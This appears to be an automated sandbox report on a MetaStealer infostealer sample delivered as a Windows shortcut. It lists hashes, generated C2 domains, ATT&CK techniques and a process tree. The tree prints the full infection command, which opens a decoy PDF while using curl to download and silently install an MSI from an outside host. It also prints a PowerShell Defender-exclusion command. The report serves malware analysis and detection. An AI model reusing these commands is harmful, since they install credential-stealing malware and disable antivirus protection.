metastealer | 68f47a7e0f69a946019a113635c5b55ec78abb0e8108ac1e285b7568093e4e50

Analysis

max time kernel
146s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02-02-2025 16:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d3689eceb2951bd5a9a62c1aa259b7b9.lnk
Size

3KB
MD5

d3689eceb2951bd5a9a62c1aa259b7b9
SHA1

6f9eb37cf0afacbc8211412aedc81c460c6fa4cf
SHA256

68f47a7e0f69a946019a113635c5b55ec78abb0e8108ac1e285b7568093e4e50
SHA512

253130444a06cb9a23577001044c13e4c6fb32d1c5a92e8875b5ff50be009b07f61ce1226c0d1b21fc603e44270e3422990fcb814afd6cdb7422139697f61752

Score

10^/10

metastealer discovery execution spyware stealer

Malware Config

Extracted

Family

metastealer

kiyaqoimsiieeyqa.xyz

ssqsmisuowqcwsqo.xyz

ykqmwgsuummieaug.xyz

ewukeskgqswqesiw.xyz

cscqcsgewmwwaaui.xyz

cyoksykiamiscyia.xyz

okgomokemoucqeso.xyz

ikwacuakiqeimwua.xyz

aawcsqqaywckiwmi.xyz

aiqasksgmyeqocei.xyz

qgumcuisgaeyuqqe.xyz

eiesoycamyqqgcea.xyz

ywceswakicsqomqw.xyz

auaieuewouawygku.xyz

cmiascusccywowcs.xyz

uiqkkomkaceqacec.xyz

quqeciymqmkqccqw.xyz

ssqsauuuyyigouou.xyz

aogaakukuugqswcy.xyz

ucgwcwsuqsuwewgc.xyz

Attributes

dga_seed
21845
domain_length
16
num_dga_domains
10000
port
443

Signatures

Meta Stealer
Meta Stealer steals passwords stored in browsers, written in C++.
stealer metastealer

MetaStealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/620-173-0x0000000010000000-0x0000000010738000-memory.dmp	family_metastealer

Metastealer family
metastealer

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5792	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
620	setup.exe

Loads dropped DLL 1 IoCs

pid	Process
4592	MsiExec.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2924	ICACLS.EXE

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE
File created	C:\Windows\Installer\e57b5b3.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e57b5b3.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{23A0140B-983C-4F7D-A24D-E9DB2FCECA48}	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB73A.tmp	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICACLS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXPAND.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5988	systeminfo.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1668	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2772	msedge.exe
2772	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
692	msiexec.exe
692	msiexec.exe
428	identity_helper.exe
428	identity_helper.exe
5792	powershell.exe
5792	powershell.exe
5792	powershell.exe
620	setup.exe
620	setup.exe
5252	msedge.exe
5252	msedge.exe
5252	msedge.exe
5252	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1784	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1784	msiexec.exe
Token: SeDebugPrivilege	1668	taskkill.exe
Token: SeSecurityPrivilege	692	msiexec.exe
Token: SeCreateTokenPrivilege	1784	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1784	msiexec.exe
Token: SeLockMemoryPrivilege	1784	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1784	msiexec.exe
Token: SeMachineAccountPrivilege	1784	msiexec.exe
Token: SeTcbPrivilege	1784	msiexec.exe
Token: SeSecurityPrivilege	1784	msiexec.exe
Token: SeTakeOwnershipPrivilege	1784	msiexec.exe
Token: SeLoadDriverPrivilege	1784	msiexec.exe
Token: SeSystemProfilePrivilege	1784	msiexec.exe
Token: SeSystemtimePrivilege	1784	msiexec.exe
Token: SeProfSingleProcessPrivilege	1784	msiexec.exe
Token: SeIncBasePriorityPrivilege	1784	msiexec.exe
Token: SeCreatePagefilePrivilege	1784	msiexec.exe
Token: SeCreatePermanentPrivilege	1784	msiexec.exe
Token: SeBackupPrivilege	1784	msiexec.exe
Token: SeRestorePrivilege	1784	msiexec.exe
Token: SeShutdownPrivilege	1784	msiexec.exe
Token: SeDebugPrivilege	1784	msiexec.exe
Token: SeAuditPrivilege	1784	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1784	msiexec.exe
Token: SeChangeNotifyPrivilege	1784	msiexec.exe
Token: SeRemoteShutdownPrivilege	1784	msiexec.exe
Token: SeUndockPrivilege	1784	msiexec.exe
Token: SeSyncAgentPrivilege	1784	msiexec.exe
Token: SeEnableDelegationPrivilege	1784	msiexec.exe
Token: SeManageVolumePrivilege	1784	msiexec.exe
Token: SeImpersonatePrivilege	1784	msiexec.exe
Token: SeCreateGlobalPrivilege	1784	msiexec.exe
Token: SeRestorePrivilege	692	msiexec.exe
Token: SeTakeOwnershipPrivilege	692	msiexec.exe
Token: SeRestorePrivilege	692	msiexec.exe
Token: SeTakeOwnershipPrivilege	692	msiexec.exe
Token: SeDebugPrivilege	5792	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe
4964	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4028 wrote to memory of 3984	4028	cmd.exe	83
PID 4028 wrote to memory of 3984	4028	cmd.exe	83
PID 3984 wrote to memory of 4964	3984	cmd.exe	84
PID 3984 wrote to memory of 4964	3984	cmd.exe	84
PID 3984 wrote to memory of 924	3984	cmd.exe	86
PID 3984 wrote to memory of 924	3984	cmd.exe	86
PID 4964 wrote to memory of 2416	4964	msedge.exe	87
PID 4964 wrote to memory of 2416	4964	msedge.exe	87
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 3800	4964	msedge.exe	88
PID 4964 wrote to memory of 2772	4964	msedge.exe	89
PID 4964 wrote to memory of 2772	4964	msedge.exe	89
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90
PID 4964 wrote to memory of 3468	4964	msedge.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\d3689eceb2951bd5a9a62c1aa259b7b9.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k start msedge https://www.wto.org/english/docs_e/legal_e/27-trips.pdf & curl -sLo C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi http://hq-office.us/fork/setup315.msi & C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi /qn | Taskkill /f /im cmd.exe
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.wto.org/english/docs_e/legal_e/27-trips.pdf
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffb3ff446f8,0x7ffb3ff44708,0x7ffb3ff44718
      4⤵
      PID:2416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2080 /prefetch:2
      4⤵
      PID:3800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2632 /prefetch:8
      4⤵
      PID:3468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
      4⤵
      PID:2176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:1
      4⤵
      PID:1768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4712 /prefetch:1
      4⤵
      PID:2132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=4836 /prefetch:6
      4⤵
      PID:3500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4176 /prefetch:8
      4⤵
      PID:668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4176 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4172 /prefetch:1
      4⤵
      PID:924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5368 /prefetch:1
      4⤵
      PID:4456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4004 /prefetch:1
      4⤵
      PID:1376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5612 /prefetch:1
      4⤵
      PID:4304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1964,15533457479575998855,4767680181172246185,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5476 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5252
- - C:\Windows\System32\curl.exe
    curl -sLo C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi http://hq-office.us/fork/setup315.msi
    3⤵
    PID:924
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi" /qn
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1784
- - C:\Windows\System32\taskkill.exe
    Taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1668

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3476

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4316

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:692
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding DE5EC7FC1CEA8715E18EDE1DA4C35712
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4592
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-cd1032b2-c29e-475f-a628-0b659a7ad1ec\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:2924
- - C:\Windows\SysWOW64\EXPAND.EXE
    "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2724
- - C:\Users\Admin\AppData\Local\Temp\MW-cd1032b2-c29e-475f-a628-0b659a7ad1ec\files\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\MW-cd1032b2-c29e-475f-a628-0b659a7ad1ec\files\setup.exe" /VERYSILENT /VERYSILENT
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:620
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\search.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5792
  - - C:\Windows\SysWOW64\systeminfo.exe
      systeminfo
      4⤵
      System Location Discovery: System Language Discovery
      Gathers system information
      PID:5988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
6960857d16aadfa79d36df8ebbf0e423

SHA1
e1db43bd478274366621a8c6497e270d46c6ed4f

SHA256
f40b812ce44e391423eb66602ac0af138a1e948aa8c4116045fef671ef21cd32

SHA512
6deb2a63055a643759dd0ae125fb2f68ec04a443dbf8b066a812b42352bbcfa4517382ed0910c190c986a864559c3453c772e153ee2e9432fb2de2e1e49ca7fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
f426165d1e5f7df1b7a3758c306cd4ae

SHA1
59ef728fbbb5c4197600f61daec48556fec651c1

SHA256
b68dfc21866d0abe5c75d70acc54670421fa9b26baf98af852768676a901b841

SHA512
8d437fcb85acb0705bf080141e7a021740901248985a76299ea8c43e46ad78fb88c738322cf302f6a550caa5e79d85b36827e9b329b1094521b17cf638c015b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
20KB

MD5
85b3403f95eb5c7d039b60d9078e60e5

SHA1
98d12611621b19cb3d83523a69369f6fef8ec079

SHA256
939e48d7b566e2a9b2f44775d6b3b10c6643944355c3446d9b103c7b9d595cf8

SHA512
83f309600111a377d8d43ca3557ad9d301643031739b16b568e1d8631dbeb5c7ccaad97d511cc50366a8e8a6283f11831e121b35c0bc30c843f1056bef1cb351

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
179B

MD5
43e85c57380b40f5090d2828cfe1c704

SHA1
a4ee2e209d23bdcd7e79031d26edf0ce26e562d2

SHA256
48b147000e36a44e92f938979d5f595ded7f2004cd00c3e8e25fb02550fa5b88

SHA512
998d8b181e548817c98713d871a1fbe8802ce82e3666d19eb1b00850c69567adbb68be81c6d0ad37ccd07050476b55259ca2037616e6be9415176386192608c9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
5861ff9fe004db8d58749240499a259a

SHA1
ac6d4d217f0ce77ca1ebe1c8b27a8515185e8896

SHA256
2406823fba567ac7e13bcf19492e36092acd31bd8454b8b5a2e3ffaefffb3fa2

SHA512
d440205088d5876c2907a79581fd6220e8e79a8939a4603676c3a3656ead9a1467e21bef911d5e8e2125772f7cac407e2238522e941435b2bf52458b3e87bca2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
c72314486249f443e74a656f82a36ba7

SHA1
feaae8ade5c064fdd36a79be3ee25660f7820d3d

SHA256
